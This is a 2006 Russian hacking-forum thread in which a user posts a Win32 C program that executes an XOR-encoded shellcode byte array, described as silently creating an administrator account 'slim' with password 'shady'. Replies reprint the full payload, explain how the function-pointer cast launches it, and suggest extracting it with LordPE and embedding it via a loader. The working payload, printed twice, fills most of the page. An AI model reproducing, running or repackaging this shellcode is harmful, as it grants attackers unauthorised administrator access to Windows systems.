Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Объясните работу кода. C++ под win32 (https://forum.antichat.xyz/showthread.php?t=12478)

TRОJAN 04.01.2006 22:59

Объясните работу кода. C++ под win32
 
PHP код:

#include <stdio.h>

unsigned char data[] = 
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB"
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73"
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5"
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E"
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C"
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE"
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5"
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C"
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17"
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17"
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8"
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17"
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79"
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64"
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65"
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E"
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67"
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7"
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61"
;



int main()
{
    
void (*shell)();
    *(
int *)&shell = (int)data;
    
shell();


Чет я не пойму как работает этот кусок кода, в частноси *(int *)&shell = (int)data;

Он создает юзера slim и пароль shady с правами админа под вин32

И как можно прочитать(!) data

Deem3n® 05.01.2006 13:08

вообще-то в этом деле я нуб, но попробую обьяснить:
Код:

unsigned char data[] = 
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x61\x7A\x61\x75\xF4\xEB"
"\x05\xE8\xEC\xFF\xFF\xFF\xFE\xB6\x17\x17\x17\x4A\x42\x26\xCC\x73"
"\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14\x71\x26\xC5"
"\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x13\x3E\xD5\xFC\xE2\x9E"
"\xC4\x9C\x6D\x2B\x16\xC0\x14\x48\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C"
"\x6C\x33\x16\xC1\x16\xC0\xEB\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE"
"\x97\xD6\x18\xE4\xB1\x65\x1D\x81\x4E\x90\xEA\x63\x18\x50\x50\xF5"
"\xF1\xA9\x18\x17\x17\x17\x3E\xD9\x3E\xE0\xFC\xFC\x26\xD7\x71\x9C"
"\x10\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17"
"\x17\x17\x9A\x9A\x27\x17\x17\x17\x46\xE8\xC7\x9A\x92\x33\x17\x17"
"\x17\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x4D\xE8\xE8"
"\xE8\x50\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17"
"\x5B\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x40\x7E\x79"
"\x52\x6F\x72\x74\x17\x52\x6F\x7E\x63\x47\x65\x78\x74\x72\x64\x64"
"\x17\x74\x7A\x73\x37\x38\x74\x37\x79\x72\x63\x37\x62\x64\x72\x65"
"\x37\x38\x76\x73\x73\x37\x64\x7B\x7E\x7A\x37\x64\x7F\x76\x73\x6E"
"\x31\x31\x79\x72\x63\x37\x7B\x78\x74\x76\x7B\x70\x65\x78\x62\x67"
"\x37\x38\x76\x73\x73\x37\xF7\xF3\xFB\xFF\xFA\xFF\xE6\xE5\xE7\xF7"
"\xE5\xF9\xE7\xEC\x37\x64\x7B\x7E\x7A\x17\x6D\x61\x7A\x61";

это машинный код, тоесть создается буфер data содержащий машинный код (который создает юзера slim и пароль shady с правами админа - если тебе верить)

Код:

void (*shell)();
*(int *)&shell = (int)data;

создается функция shell стартовый адрес которой содержится в машинном коде data

Код:

shell();
фактически это выполнение машинного кода который содержится в data

TRОJAN 06.01.2006 23:32

Хм... а как можно этот код перегнать скажем в АСМ или т.п.?

ProTeuS 07.01.2006 03:02

компилируешь программу, выполняющую шеллкод и с помощью утилиты LordPE сохраняешь содержащую его секцию данных. дальше можешь ее "прикру4ивать" куда нужно делая загруз4ик...хотя в данном слу4ае не вижу в єтом смысла...

а по поводу перевода в асм или т.п.: по4итай
The Complete Pentium Instruction Set Table
(32 Bit Addressing Mode Only)
by Sang Cho

sn0w 28.01.2006 20:25

кстати внимание при самопальном написании подобной вещи стоит уделять соглашению о вызовах по умолчанию (calling convention (stdcall/cdecl)) иначе можно уехать в рантайм изза стека))


Время: 08:54